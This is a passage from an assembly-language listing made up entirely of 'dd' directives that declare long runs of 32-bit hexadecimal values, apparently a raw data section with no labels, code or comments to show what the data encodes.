8208166Bh dd 0AE014A48h, 0FF4ED3B2h, 0A69E215Dh, 0A846CBC9h, 0A4BFE380h dd 81030A25h, 1A6FCD26h, 3C9CF04Eh, 3AE60064h, 8A5518FCh dd 90018EE0h, 5D32E154h, 3670C419h, 5C6A0013h, 0F54C8117h dd 6005FAEh, 0E5AD11ECh, 72993B76h, 0D6BE03A5h, 0DF075478h dd 0C980E893h, 17747BAEh, 680EC001h, 7FBECBF7h, 0E2207AD0h dd 862A005Fh, 0B6E1F47Ch, 0FB006C09h, 1069D837h, 0C4756h dd 0DFBC6D2Bh, 4FD9CCC3h, 0E6E5B60Fh, 235C6619h, 6FEEBAh dd 9E1214BFh, 0D80B71BBh, 0CF499300h, 2497E18Dh, 0CA0A0059h dd 0D4EA9476h, 1A008031h, 0A2FD2F4Bh, 0A59617h, 36E5B2F4h dd 851EC56Fh, 0D142AF02h, 0C0DFC311h, 75FC4BD8h, 84745061h dd 0D5380BA3h, 700F942h, 526D1348h, 4D873503h, 83491625h dd 73D1D821h, 0AE9E0066h, 8C63A574h, 8000DE4Dh, 0A0E1CEB5h dd 79880Dh, 0A59BA7C0h, 0F0E02FFh, 0BC0F7671h, 20FA4201h dd 28AD4036h, 6EAA00E2h, 7EE599C5h, 0C1A03241h, 0A300AC3Fh dd 48104EADh, 902E2AF5h, 3921000Eh, 1ACCCEABh, 6871A631h dd 0FA74F300h, 2DFF4D01h, 72B70BA1h, 1085BD71h, 7510205Bh dd 2E252DB2h, 40C88E13h, 0DB1903C2h, 0CA8C01EBh, 7D2D4F22h dd 84882CB6h, 1643880Ah, 70DB03CAh, 8D2EBCA8h, 6978B030h dd 7F93E7C1h, 0A529006Eh, 0C3CD0E1Fh, 0EE1FA70Fh, 1C92C6ADh dd 8DE12880h, 76D400F8h, 6C1A75CFh, 0B100FB52h, 5974A72Dh dd 960FA1EEh, 0C833042Ch, 537CB063h, 4BC5C900h, 1E023444h dd 9A7D00FFh, 0B823DF5Dh, 0E3E85EDBh, 0EAD22D1Dh, 6D840200h dd 178E9AAh, 0C8CEAFEBh, 0DD9EC4F8h, 24353014h, 34D2BA00h dd 0A46692C2h, 0BD2C003Eh, 0D13A84D4h, 6E002B03h, 0A57B4086h dd 8D2D14h, 9E1E731Dh, 57BA0199h, 0F94A400h, 0DB5B91C9h dd 625A002Ch, 7CEECEC4h, 5F12DE03h, 3440E2D1h, 6BAB7DC0h dd 0AA080F2Eh, 93A169A4h, 9ED115A1h, 0A8401B20h, 5A19DF94h dd 0EF9E41Ah, 512989E4h, 9A118180h, 70A884Dh, 906999D3h dd 219EEF00h, 7321508h, 4FB472D1h, 21BDD638h, 0A8003070h dd 84673E0Bh, 6CD3137h, 2C5DCCEh, 0E80799E1h, 909D8245h dd 80B8E3A3h, 508A6B01h, 5DC0D9h, 9683111h, 4C8BDCF0h dd 7152B700h, 0C62604FAh, 9F410001h, 53C34F3Bh, 2516708Bh dd 30407114h, 3D91EACFh, 4DC402B9h, 288521Ch, 38928C97h dd 808C5010h, 3DD73E79h, 6BF01D1h, 159AF90Eh, 4183E823h dd 437D7100h, 0DC90A153h, 0E5CF00DBh, 0A48868C2h, 5B756E37h dd 0B59EF300h, 0AA38291Fh, 8DB884h, 98015F8Ch, 5145ECF5h dd 77033F58h, 0E1925703h, 0E06D559Bh, 3DA8B8h, 8877D4DFh dd 0CBDE270Ah, 2F509Fh, 0C0E06005h, 374263ACh, 48062D00h dd 0DAAD5717h, 438D0026h, 0FBC94CE4h, 2F0065C4h, 98CFF54Dh dd 3E3DBC2Dh, 772C0CD2h, 250700E5h, 0A59D4755h, 2EFBB109h dd 0B92280EDh, 0C0B88492h, 0EE226E98h, 0C1008976h, 0DD2550D3h dd 71F32BCh, 0EF32016h, 0ABE450C6h, 0A2E0BBA0h, 6AAFBF00h dd 0D7B8293h, 1C68E84Ch, 409EC246h, 0A7E72739h, 5900FACBh dd 43712A1Bh, 9CB41Ch, 8184FFF4h, 0D91A12C8h, 6E367B00h dd 0E7BBB70Bh, 54A20010h, 0C4641D3Eh, 841DA527h, 0A44055CCh dd 8209BB08h, 0E92A0ED1h, 0E7A3C64Bh, 58F025CAh, 0AAC04112h dd 0AA40919Dh, 218B00A3h, 24CFFED9h, 62015B43h, 6A7F22FCh dd 54600A8Ch, 0F3B039AEh, 59C67500h, 7869BCB9h, 14E07D00h dd 84578810h, 0C98901B6h, 52CF18F3h, 0E565DC11h, 7143CB01h dd 22A8962Dh, 0E680A545h, 1BC7778h, 0BE3E578Bh, 0D8F94142h dd 0C0001233h, 0CEC8BBCCh, 0E0E91EBh, 0B0C44B88h, 0D8E9734Ch dd 5A53B200h, 365B697Fh, 4F990042h, 0EB2D877Eh, 2626B04Ch dd 0CD0E95A5h, 75DAA324h, 0ADC900A3h, 0C5CFAE0h, 0CE00A4E9h dd 99AC4A24h, 0C12C8Fh, 50326364h, 0CD3DF2E5h, 4A0DA80Dh dd 24FC7817h, 0B96D007Dh, 41286ACEh, 3B011FCDh, 90637523h dd 0D61A174h, 0B7C7D0h, 8FAA66A7h, 3B0BA009h, 0E8A54B00h dd 9F765519h, 7AC1383Dh, 0F2E29700h, 0A9EB5D8h, 0BE089500h dd 4A3BA441h, 0CBE01E49h, 1D08064h, 81CC9F1Dh, 148D6500h dd 2D215661h, 0F41001Bh, 0C2C5C435h, 9E2E773Eh, 6A00D1E5h dd 675B3952h, 6EA01F19h, 12D100DCh, 255F0579h, 2F66DF0Bh dd 20CF008Bh, 0FBC103h, 942DE7DDh, 6F3A3999h, 6C014800h dd 0F93F735Eh, 0D680009Fh, 92B6DE79h, 590F152Ah, 0A074062Ch dd 31A36313h, 0B36900A2h, 8DDD37CCh, 86076504h, 45487C66h dd 0F8AA8E40h, 26D598D9h, 3056D46h, 0E1AFE5B9h, 589B4080h dd 0EFBB3203h, 90FF85E8h, 10768h, 7241BC93h, 8150EE8Eh dd 0AF069BE4h, 3B97EDAAh, 0BE6E0062h, 94D6A63Dh, 0F80088A1h dd 5B269863h, 1385619h, 5EDA97B5h, 70502F9Eh, 0BE7A957Ah dd 7505A07Ah, 3E682DFEh, 108A2028h, 80B26923h, 0F86F2DC7h dd 577107E7h, 0F641619Bh, 0C9725093h, 0FDCB058h, 0A6D13C8Eh dd 548C1A5h, 0B9B23113h, 745780EAh, 3D00A489h, 85AF91D6h dd 7DE9629h, 0B8297EBh, 603577BFh, 0AF90DACBh, 317C260Ah dd 0C900A479h, 81E35F68h, 0EC860741h, 6105C59Fh, 30488E02h dd 0BF606E1Bh, 4FD77A28h, 0D23B06F9h, 602CE603h, 74E7BC00h dd 2BF1044Ch, 342A0071h, 609BA416h, 0C700FDAEh, 0C6EABE94h dd 6336C85h, 0CE121566h, 6F00B8CDh, 0BEAAC4C7h, 15048C6Eh dd 807C1EF9h, 0CC6571C0h, 0D04659FBh, 529E8Fh, 0C5AF7C3Eh dd 1701E0CAh, 3A372DD4h, 0AC47F284h, 8DE87D0h, 0D6D50010h dd 7865A1CEh, 0BD0396B7h, 0CD613059h, 44F1E83Eh, 0FE8530E0h dd 3F985BE0h, 0A0B3C80Fh, 6EEE20A8h, 2810913Ch, 1F80EAB2h dd 0CA050DCAh, 5820FC4Dh, 0DD11AE58h, 0B407BF30h, 20968165h dd 0DB317673h, 0B171B301h dd 0A6C64115h, 9AF6D040h, 9B3B00DAh, 0C3DF0482h, 0B20AF39Eh dd 0C82C7B4Eh, 6CAF6000h, 0C606FFh, 0EE8C6752h, 2B89353Dh dd 98267C00h, 55F5CBD3h, 0B7E800D9h, 0CF1BF270h, 1000B8E2h dd 0ED9A35DBh, 1886640h, 9C5B33D1h, 870A6CE4h, 1CBAFE61h dd 4200EC4Ah, 7EF85135h, 0B0577E98h, 68866008h, 0A3686F43h dd 700F81E6h, 0CF5CD70Ah, 0F4005264h, 55FC8D5Bh, 0EF7F0ECFh dd 0EC3C1E4h, 44F9B64Ch, 645C2008h, 7166ED00h, 7662979Ah dd 52570E60h, 9E604BD3h, 126CC77Ah, 0E7132907h, 2BC132B4h dd 8080BA8Bh, 4F270671h, 0AAF0BF5Ah, 0D1EA087Dh, 0E9D4C71Fh dd 59AE8FC0h, 68194Eh, 0E575428h, 2FACF6ADh, 0A3999000h dd 1520235Dh, 478B01C4h, 0BD33EA81h, 0AE044882h, 0D3024E0Ah dd 0D1F60C6Eh, 0EA03008h, 0B100B26Dh, 0BB10D893h, 218892Fh dd 0E97D449Eh, 0C8224B7h, 0FE1063FDh, 4CA28495h, 94A60C02h dd 846AF910h, 1525C521h, 0A21018ADh, 71F5812Ah, 960045C8h dd 624081CAh, 0F91D0F69h, 0D09D7EC2h, 8771811Fh, 1895C18Fh dd 0E51454F0h, 50741857h, 315924ABh, 0F261C9A1h, 0D184177h dd 7B484065h, 1F40AEFAh, 48E86321h, 87F852D2h, 4C00EA83h dd 49EF662h, 549101F5h, 0CDA8C8h, 0BB68F399h, 0CAD42A2Ch dd 98CB7514h, 65CF00B8h, 96C08941h, 4AEE068Fh, 5077DEE0h dd 5D8848h, 9F5FDB63h, 0BFD303h, 0EE4BFA14h, 0F2A20B7Eh dd 2123BD00h, 699B808Ah, 1EA00356h, 0E0BE6CD5h, 9D006872h dd 3892749Eh, 0F0C669h, 182309C1h, 0ECE994BDh, 0D0544005h dd 4C2001D5h, 6060AC8Ch, 0E47AC019h, 2D00F0C8h, 7F5B736Bh dd 0E62FCFFh, 443B69E9h, 2010CE60h, 2A003442h, 8C3FD53Ch dd 0A324A0h, 6B5F332Fh, 0ACA223CBh, 0B0A9C401h, 918D8914h dd 0E61CB0EEh, 3985B4h, 9CD75C89h, 32D4EEFh, 64C92701h dd 99D8197Ch, 1B004275h, 2AD4B6BBh, 74416DE4h, 329B097h dd 9D34D016h, 0C09D8E25h, 0EDB7E5A8h, 171A61Eh, 0FE6EF4C3h dd 0C0281F7Ch, 48840435h, 1CE3C08Bh, 0B2ECBED6h, 0D9E67900h dd 21F7110Ch, 9B7800FFh, 7F02AB95h, 0A4001C81h, 34A2EE5Fh dd 0A9C9AAh, 13243930h, 639DC34Bh, 73AC80Bh, 3E098032h dd 0B8B4D856h, 82550040h, 272FF099h, 0B0C03487h, 4B8876EAh dd 740100B9h, 55A92978h, 0E9149DEFh, 608D1F1Ch, 3A263E28h dd 572B0046h, 5C3BFFDFh, 8E0A1E95h, 58E9FECAh, 9F59235Ch dd 4C4EA259h, 0C308F400h, 0FB93FEB0h, 21103100h, 609D181Ah dd 0D01539BAh, 27052A81h, 0E0DC4608h, 0BB306A3Ah, 0E3ED40BCh dd 1832E280h, 31BF8516h, 58023E7Dh, 66C62327h, 5F28039h dd 0A0CB29h, 73AC9BC7h, 6C1E7DAh, 0CF037E77h, 1370B53Bh dd 4CDD8091h, 9D360044h, 33754B66h, 0DE035DC1h, 1C52793Ah dd 0FFA6D8E3h, 58F400E5h, 4597AE68h, 0A900758Ch, 0BA6C5015h dd 13D7D5E1h, 0FD017EEh, 33407CE0h, 71F264F0h, 0A6D1C40Ch dd 0FC693020h, 25CFE47h, 10183337h, 0AC9516AAh, 8497ADC1h dd 0B581E8h, 0FE0512E4h, 0CBA55BC0h, 94915D7Eh, 9FDB003Fh dd 3437861Eh, 0CD100558h, 2B4E7E07h, 916882F0h, 3798407Ah dd 55950E14h, 0FA01DF5Dh, 26905799h, 0B0866034h, 190F2Ah dd 0BEC687EAh, 38937EFEh, 0D4B81B09h, 3EE81D4Dh, 46A1DCC9h dd 6A03F8C0h, 416B6800h, 93509760h, 0A22E2B88h, 73038084h dd 12C187BCh, 610070E7h, 250BEF00h, 8C63913Fh, 0DB900031h dd 765AFD15h, 0AE0027B2h, 322C8FD3h, 5D7BB96h, 534B23CFh dd 3A844BC7h, 780089FCh, 9264E920h, 9B060055h, 293EBC86h dd 0D0A4CFD6h, 0A141A600h, 0D3BD5056h, 0BE8D1227h, 87642BB2h dd 498456BBh, 484B08C8h, 0BD26BBDAh, 0DDD60EA9h, 0E27C7400h dd 0A60EDF0Dh, 0E9D2CF7Dh, 0E00C15D9h, 0E488B85Eh, 6A12D3E6h dd 4209358h, 3B4DF5DEh, 38813FEEh, 23C0B08Fh, 0A0FC4A5Fh dd 27BBDE0h, 560C0912h, 0F490278Ch, 240A7D0Fh, 80AD1625h dd 0B909C78h, 60B7D20Eh, 76812837h, 0A97F1D35h, 2A61C458h dd 90A859h, 4FDA846Ch, 0BB04A9FFh, 0E845332Ch, 32910C3Ch dd 0E35D1009h, 891968E0h, 0B8C303Eh, 0C5E01641h, 0A7780C7Ah dd 0CD20BA7Dh, 2076C13Dh, 46FA1419h, 0B500C06Eh, 0AFCA1C59h dd 72002650h, 0F1E75734h, 0E0D67021h, 40954937h, 26B0B430h dd 6090B7EAh, 8290DF26h, 1FA86500h, 0C27958h, 3C6D7F09h dd 0F6F75B2Bh, 0A3129CA8h, 2DC1EB13h, 7412h, 90817DAFh dd 84993848h, 66511700h, 79E4F5B4h, 3C6224h, 9910F481h dd 0F980D995h, 13AA8088h, 0E100A9B1h, 87CD3DD6h, 0AC04DCCh dd 16D37A8Dh, 514283E4h, 3924FBC7h, 902B0879h, 4F898806h dd 0FF7D0090h, 924CA60Fh, 0CE0A8E14h, 0CC509871h, 0CAD11900h dd 1FF47293h, 42820EF6h, 7FB61881h, 8139AC84h, 0E83161F3h dd 2A008B1Fh, 0C5225947h, 0B159A10h, 2E94747Ch, 0A0DA4827h dd 0E3098AA1h, 0EA53D307h, 1642C6FCh, 0A424E8CFh, 0BA82006Ah dd 789680D4h, 50037B66h, 0A0512810h, 0E875F37Ch, 4C3F0E98h dd 4B01A063h, 37BB5C13h, 0E868DD6Eh, 7915E507h, 3CCFE9h dd 67D28F28h, 0D506C0h, 0C2555943h, 4725C1D1h, 26277B00h dd 52B4A771h, 24D4F287h, 3C6B0D0Fh, 7D53E882h, 1CC170A5h dd 0DE33C066h, 38CD2500h, 0A742EF09h, 0D3EB0129h, 6E820788h dd 67D5E83Ch, 628CA900h, 0EC39615Eh, 5B2001D6h, 7604AAEDh dd 78860F6h, 63C48703h, 0E0663ABAh, 7C37DC5Eh, 465C185Bh dd 0C7643860h, 0E0FC2800h, 0B436C52Bh, 615D0059h, 0BF8F0D8Dh dd 71D5A89h, 0F5C01FB2h, 105C39C0h, 0E530122h, 95DCBE09h dd 811880EEh, 6A8DF624h, 73EC00E7h, 0A353FDC6h, 440E9BF4h dd 0A7A4D702h, 0EB5082EEh, 9AB173h, 0B704F327h, 0C547EC23h dd 769C4E30h, 0D9AEF1h, 4D33A846h, 0BC96B16Ch, 691ED718h dd 0DEB2C0h, 0A0991255h, 9B3411F5h, 0C8C64300h, 95AAFB8h dd 0E81900CEh, 5228B7B9h, 9100D777h, 0D4C94EBDh, 3B03F27h dd 0C096BBA2h, 37E9CBDCh, 545E010h, 64AF1A00h, 1C50C342h dd 5E5200EFh, 70239C1Bh, 0CC0383BAh, 4B6A064Eh, 18F8D860h dd 0AE50089h, 0A5BAD919h, 106B9ABh, 0D80C4630h, 0ADE87D20h dd 9BBF0904h, 2AC4D800h, 94006144h, 0F5D79227h, 1D5D3ADh dd 6891F2EDh, 81CDCB54h, 0F9FEEED8h, 1180D9B4h, 3ED707AFh dd 0E0831F3Ah, 1C4C94h, 74E3EFE2h, 0A017152Dh, 8E76D80Ch dd 0C87961h, 3A507ABEh, 6AFD688Ah, 0F64F3F06h, 20F5C5h dd 0B07D58A2h, 6677CBF4h, 62FB9200h, 2C5DF51h, 0BAE8031Ah dd 0C0E61361h, 0E314EFC8h, 0FBF8D000h, 3353B74Ah, 0EF2F1h dd 51B86B6Dh, 0D1965AEEh, 0A74B50Bh, 78005F8Dh, 35F56E64h dd 0CD3AD407h, 0D9A03227h, 502B4013h, 68C82Eh, 0C6D86B5Ah dd 82F0CD5Bh, 3A9A303h, 74362DBh, 3B1875F1h, 11BB305Ah dd 0F2339D87h, 89B8E8EAh, 0BD862C2h, 0AC800E5h, 2F1AF963h dd 0F860D7F6h, 0DF9049F2h, 20C20FA8h, 13603D59h, 8F8ADABAh dd 0D2294318h, 6CFD9F1h, 0BF7DCB7Fh, 5201A892h, 13F5DAA7h dd 4DCDCFBh, 65CF001Ah, 0D34AB561h, 9702806Eh, 583269DFh dd 66836006h, 16D8C143h, 4D8DF2F5h, 5C7AFCC8h, 33D18210h dd 0BE00E2DDh, 630F259Ch, 60292D1Eh, 1AFB1910h, 0F706999Fh dd 0E2063D40h, 0F4090789h, 0F06E02F1h, 0B1FCEEBFh, 0F9001892h dd 0A329AB01h, 0B03D69FAh dd 606A745Fh, 8AE89887h, 9900B68Bh, 4215DDFEh, 0B0452E32h dd 6027340h, 9A70D34Bh, 4A00B839h, 0DF763CEDh, 7E7C6Ah dd 0CFA352EAh, 0F0B4736Fh, 0A9844030h, 0A83B48h, 0FE56319h dd 0C8E0F3B3h, 6491C075h, 81A5B90Fh, 0F2F1A26Fh, 0C0D55C20h dd 0A433A7A0h, 0D218C9BEh, 7D319937h, 0E8DC3B71h, 0D734B500h dd 413B81EFh, 3D472100h, 0D9F52E24h, 95D63B51h, 7325EB0Fh dd 52ABDA40h, 5B00EC19h, 7B9BA04Ah, 0E82B18h, 0DA8FA425h dd 62B1C854h, 9B9448h, 8464D9F9h, 532603h, 0AEEB27C9h dd 225CACFAh, 684F1B07h, 0A9615120h, 0F1C882FBh, 0E36600B0h dd 0A7D3590Dh, 0A203FAECh, 9CCF1B15h, 3A11A95Ch, 0CB78D4h dd 59885514h, 4D2E1DF6h, 0F1FDCF12h, 60507D02h, 8C5C8094h dd 895C5DAh, 4B6982F3h, 2007B0B9h, 3D9D7F2h, 19D255ACh dd 2398FA66h, 7F00A478h, 1E27C069h, 284FCAh, 6EFDD276h dd 1F17DF2Fh, 0EE5361C0h, 5FBC03h, 0B5D051D7h, 4B9D6E36h dd 24034179h, 282E6404h, 9BBAC053h, 0F0723DDBh, 5CC35100h dd 0E7CE3491h, 974B48CAh, 0F5361500h, 0CD5557h, 87B22AC8h dd 0F378FBCh, 3EC60700h, 5267E5EFh, 319821h, 78A81811h dd 0D4691CF9h, 0AEF57C00h, 45E3CD33h, 0C5E5009Eh, 21532922h dd 49002DC8h, 41A1A831h, 0A0F9F2h, 351A4373h, 8BC22155h dd 52DB4600h, 0DA1272ABh, 487B0075h, 15F79E43h, 5903859Bh dd 2328C563h, 93B3A896h, 0E2873460h, 77C9C090h, 9F6F86D4h dd 17050070h, 0E278C64Fh, 0A90C0363h, 0BD0777CDh, 0EE00209Eh dd 88C3B1B5h, 6A5F88Ah, 84C692C4h, 331D5016h, 8C47FF4Fh dd 76801598h, 386BC827h, 0E01F1847h, 907D3D44h, 0E90D0940h dd 5818D554h, 0A80ADA71h, 0FC838D9Ch, 81D0B362h, 0DA4755B8h dd 1CE03E4h, 597336B9h, 219CC190h, 0A10CEB45h, 86C9F25h dd 0E28B2CE3h, 8D3903B8h, 5FCAC9F2h, 0B09CE081h, 0F6F08E26h dd 28528051h, 9A23866h, 0CFDCD5DDh, 9C17A580h, 0EB1E9E92h dd 638FFBE3h, 79007FD4h, 6A31A85Fh, 0D85C60F1h, 4697269Eh dd 1D8EC491h, 0EAF7243Bh, 67DA2A01h, 0D052FF29h, 0B5009C68h dd 0C4CDC8C7h, 0A46250FFh, 3B841816h, 0ED088474h, 2FD20609h dd 8D542071h, 26E1A0h, 431FF556h, 5B6513Dh, 0A8552F29h dd 422E2258h, 364D00EBh, 40DFE7C8h, 2A8800CAh, 0CFD64615h dd 49A395Eh, 6EDB4100h, 51AC6E8h, 84C54990h, 400CC22h dd 9DAFBB52h, 0B16224h, 972CBF78h, 696E9396h, 94683948h dd 995F0CCCh, 2C81120h, 0A7F57DD4h, 7046C579h, 84158428h dd 3BCFC31Dh, 864CF500h, 7E8B6Bh, 998C57C5h, 374A7629h dd 81A2B100h, 30196E98h, 65FE0F4h, 0AB7C0FB0h, 373A4962h dd 19CF00ECh, 743C1B2Eh, 0D00A507Dh, 0E5610C6Bh, 0DB909EFBh dd 622BDD01h, 0D677AC40h, 791F8C26h, 0C87804A3h, 54A73133h dd 7B98BC03h, 0C5037A50h, 0C2FC096Dh, 5983E052h, 0F6917197h dd 36630092h, 0C7A17DBAh, 0AA001AB8h, 0C3614CCFh, 0A8B0B43Bh dd 105EE394h, 508B08D1h, 9848FA94h, 0D90EDD28h, 9AFD44D2h dd 2113A431h, 0FBCF317Ch, 774274D8h, 4E61EB13h, 0F50B4020h dd 28226006h, 24FC31D3h, 0B200DF7Dh, 0F1BE045Eh, 1D363D8Bh dd 6F9B9B5h, 783F7315h, 0E130CFFEh, 5343CE42h, 0FC490039h dd 96A90D17h, 0F286775h, 510F045h, 0F68022C7h, 49A88C48h dd 8F16721h, 41004B07h, 0C847C334h, 1F500099h, 0DCF0D932h dd 0F166A19h, 1803F918h, 95CD6FBDh, 5255F000h, 9A89A2F0h dd 23051E60h, 0D3B581A4h, 53A6077Fh, 9C04CCh, 1D7A592Ah dd 298700E4h, 78BED995h, 1E021FF8h, 0CC82327h, 0C9D845E9h dd 40D8442Ah, 393F4ABFh, 79EFB706h, 1FF0775Dh, 80016223h dd 819DE424h, 89004872h, 2D47FAD9h, 122019D3h, 6FC14082h dd 6F610730h, 9A099B8h, 3D6EC715h, 9E01590Bh, 0C9D60C02h dd 1845F6A4h, 18042AE9h, 0F0F5DC40h, 167D1243h, 949400F8h dd 185D50A8h, 0AF7B1A7Ch, 3B1C2A48h, 49D68953h, 0A8109B8Bh dd 8BD0EBBh, 0C43432CAh, 0D031139Bh, 0BBA950h, 0C58AD58Bh dd 6D7990F3h, 88E28E00h, 4FCD2EA2h, 5A7CB1E4h, 7C901CA9h dd 8900BFE8h, 0FA864532h, 906A8234h, 0D82C60B8h, 42ECCBDh dd 0B975150Eh, 30F11842h, 10E7C35h, 0E157ACAAh, 3280C8A6h dd 0BE305020h, 8A62CCA5h, 96D4186Ch, 61DE6213h, 0AA5A3831h dd 585B7470h, 9826406Ah, 47710774h, 0F3040BDh, 0F72C81DBh dd 149D4F6h, 63AF4EBCh, 40014072h, 607223BBh, 3DAC4C91h dd 0A5E194A8h, 0DF07C601h, 42D1BAB2h, 6599B850h, 1E88C0ABh dd 9375043Ch, 79B2FF00h, 436CC386h, 0B0B30005h, 0C56E7F44h dd 0C1636CAh, 600267ACh, 61E4E008h, 0F0505A48h, 0D4BBCBA6h dd 1810F050h, 7B81C0C1h, 112F65B2h, 2EFB4375h, 36805020h dd 0F637461Fh, 0E07D94h, 9E2932F2h, 74C74165h, 0A486D200h dd 19E95F9Ch, 4B60C41Ah, 480037C4h, 4899A802h, 0AADC0440h dd 0CF7EB4h, 6E208492h, 0DBDBCF5h, 16836304h, 74D13A11h dd 0DAF84B98h, 3B1A3B36h, 392EA489h, 0E8A09446h, 2C5E294Ch dd 9057BCA8h, 0DA9A8905h, 0CAC0AF0Ah, 0A02D127Dh, 711C94ECh dd 537C50h, 0F56C6EAh, 6C6ADC99h, 0DF2F9700h, 1BFB525Ah dd 5CE2008Ch, 2E1A709Ch, 9312CAD2h, 140269A8h, 8044DCD4h dd 0D85334BCh, 0B810603Bh, 0D5F6BCEDh, 3AB32001h, 0BE627D5Ch dd 58EFE0FBh, 7A11E8A8h, 0BA8C00C6h, 59890616h, 316086D3h dd 27C4E891h, 0BD1800CBh, 0E476156Ah, 0C974FD9Eh, 77DDD91Fh dd 3B009C5Eh, 50D4452h, 8E286h, 0FFD307CEh, 0EDA591E1h dd 4ABA9B01h, 1D43F474h, 0CCAC081h, 29A79712h, 0D82F00A8h dd 0C5E586A6h, 50E6E871h, 728E01Fh, 0D4EA7F18h, 0F302403Ch dd 0C60E2EF9h, 6E42EB2Dh, 596AE032h, 1F752281h, 0CE1BA2C2h dd 16807724h, 0AD0A3D30h, 9530B0A4h, 153C712Dh, 0F09AB4h dd 0D54C8B5Bh, 66C16231h, 0D43A0C01h, 12A7D0DAh, 0FE182BD3h dd 4212FC04h, 79019D89h, 57F1AC24h, 73DECCC4h, 2CA307F0h dd 4D022h, 0AD82B9DBh, 0FF9BD0C0h, 789BCDFh, 0DCE4D8FEh dd 51F8C8AEh, 12510F5h, 2AC0A9DBh, 250C0B9h, 0A0176308h dd 0D71D9C00h, 3B711878h, 5B823A7Ch, 19591E98h, 11848458h dd 488CD7Bh, 70B8FB9Ch, 1825541Fh, 1B0C40Dh, 824D519h dd 14BE42A0h, 143CAF8Ah, 2A0CC56Ch, 285424A0h, 3C42D20Ch dd 48735414h, 0C4B5074h, 0F730A8B8h, 0E79D4545h, 9C25B082h dd 0F53C6C46h, 26248DC0h, 19A71878h, 3CA08508h, 0A0449766h dd 2190A6B4h, 0D015CA27h, 9572210Ch, 0A7292424h, 18809590h dd 9CA66808h, 8019CC99h, 2C0E2F1h, 0E74B0DE9h, 84C0FABEh dd 8B587A18h, 0F7EA44h, 55F0FF7Eh, 80009124h, 0C92E413Fh dd 8700A8EAh, 3E3BE45h, 180E29Dh, 12624D7Ch, 0C8220470h dd 674C8FD1h, 99E30658h, 3B48FFABh, 54180659h, 0FAEEA027h dd 0C675B20h, 6BCD7385h, 0CF712680h, 237A8800h, 0F61C169h dd 0D7FC07B9h, 70D21D9Bh, 0F48E0C22h, 24114F00h, 0F0472E48h dd 4CB0EAh, 0A54BB927h, 0CD418157h, 48289400h, 349E2F9Dh dd 5DB73B23h, 0EB4B5F05h, 0BE1C7CD6h, 8C835801h, 0BB2423F5h dd 2E92F8h, 391667D9h, 0E1A9AD9Fh, 8118B207h, 80DBB7D6h dd 93BB6FD7h, 58C5639Dh, 80ED04FDh, 82B54526h, 21B19501h dd 61CFA122h, 3CC341FDh dd 0E138C2D9h, 0A04CCA98h, 480E671Dh, 86FF9146h, 0E290150h dd 4195117Ch, 0D1A9865Fh, 0A20068C4h, 73FE99F8h, 15A80B4h dd 141D3813h, 20AFE922h, 0EF7B6D22h, 4F465C00h, 2A534A60h dd 98BF3F10h, 43259D96h, 486EF643h, 0B7305890h, 465E8E00h dd 0DE42BDB5h, 0A310001h, 3AEBE7D9h, 4100E0EDh, 0FAF33499h dd 0B74EDFh, 0C1A9DE88h, 62F5583Bh, 0E738C818h, 88280h dd 9269B943h, 5345B795h, 0C0016D21h, 0B33EE2FBh, 5A5ECE1Ch dd 9E41B9C0h, 24AA09h, 0B5D27717h, 0E2510D8h, 0B41E19EEh dd 9E8F1513h, 4D41E5D4h, 0F24A014h, 63470A5Bh, 12A1702h dd 405684A0h, 0FC71F907h, 423E73FAh, 7ECE05B4h, 9C05125Fh dd 0D846E22Eh, 0CF0827F0h, 96853920h, 38880073h, 3C1AB099h dd 2F82C806h, 1518617Ah, 842430F0h, 0B13FCEC0h, 8024C0B6h dd 7F00587Ah, 0FF23AEFAh, 243D7ED7h, 48925Bh, 409E485h dd 156166A7h, 1C3C3978h, 0C5C9FC50h, 0E7CF0030h, 52C683F7h dd 0F8FC8B7Ah, 128CD90Fh, 0DBC383EEh, 14D000FAh, 419671B5h dd 9E1F286Fh, 0F0054C12h, 8440DFE0h, 94999A81h, 5FBF0004h dd 0B663F972h, 2548FF57h, 12EA00ACh, 60B4555Dh, 5CB0010h dd 0E8D539BBh, 0AF0785E9h, 54C2F373h, 7DE63660h, 0FAC24D4h dd 7C170010h, 94A7770Dh, 320CC7F4h, 40D3C3C9h, 2903617Dh dd 8F95B9B7h, 4C4407A0h, 22CCE90Dh, 4500E94Dh, 6E107919h dd 4263111h, 5815ECB9h, 1D6480BEh, 4750D724h, 0A70F4AC8h dd 0F46BBA28h, 486018C4h, 1574FFB1h, 30335B94h, 581992C0h dd 0E2733909h, 457F2484h, 6F083B1Ch, 39023D10h, 406E1A7Ah dd 0EAAF9448h, 3BBC90EDh, 48C92492h, 3D66A609h, 3EF52002h dd 8A019600h, 92A801FEh, 6B77CCC0h, 1410360Fh, 0F43C50h dd 0B35BC016h, 0F2D5DDD4h, 0AE372857h, 1CD006E4h, 5046B6DAh dd 6F0EEBF4h, 852034A8h, 0A00738C6h, 40083C0Fh, 813AE76Ch dd 0A5132C00h, 0AC756179h, 480B28FBh, 46640098h, 19C00DDCh dd 9C3D4EDEh, 0BF1619BAh, 8C374570h, 0D5D8D0Ch, 330210F9h dd 9B9DA41Ch, 1D504E46h, 9F7C17Fh, 0D88460EFh, 52AE4001h dd 0FE196Fh, 4746CDCFh, 4622874h, 0BA9F9100h, 7AF34A54h dd 6AB4A026h, 7E2CE844h, 0E96000D1h, 3776B06h, 62246612h dd 96808CA0h, 0F02B74F3h, 78CE005Dh, 47C625DBh, 8490133Dh dd 0A2CF9209h, 0DB82171h, 0B1888C90h, 0C83304Bh, 0EC4ECFCh dd 0D1EF1DE9h, 10EB3466h, 891A10Ch, 177F8ABh, 0F91F192Dh dd 20582969h, 78244DB0h, 0EF830821h, 0C8FD6016h, 0E069BBCAh dd 0AEEFC26h, 36FEA7BAh, 804D06E4h, 94043113h, 0F6576AAAh dd 64268180h, 643548C9h, 20FB3450h, 0B2005904h, 0CCB910A5h dd 4D7D8FF7h, 0FD0014FCh, 0C4083926h, 657F9CC7h, 70A4202Ch dd 0C22C8807h, 78C80A03h, 642A3CA9h, 0AF933D0Ah, 9988408h dd 9E1B20AEh, 39B400FDh, 8A919B60h, 9002C801h, 2747740Bh dd 0A8BCA0C2h, 1D081F06h, 4039E2BAh, 0C0D6AA83h, 4907F05Dh dd 2ADE5918h, 2FCAAFD0h, 0D8B1DAF2h, 32092C8Ch, 0FF8B1709h dd 4704A015h, 750FA4Fh, 0C08996D6h, 38B092A3h, 1CBE480h dd 0B4282C4Ch, 0DD00E05Fh, 0FACFC29Ah, 42E3EA2h, 0DAE2822Bh dd 847C8006h, 92032580h, 29A61644h, 223A019h, 0AE0112A1h dd 8B2028E7h, 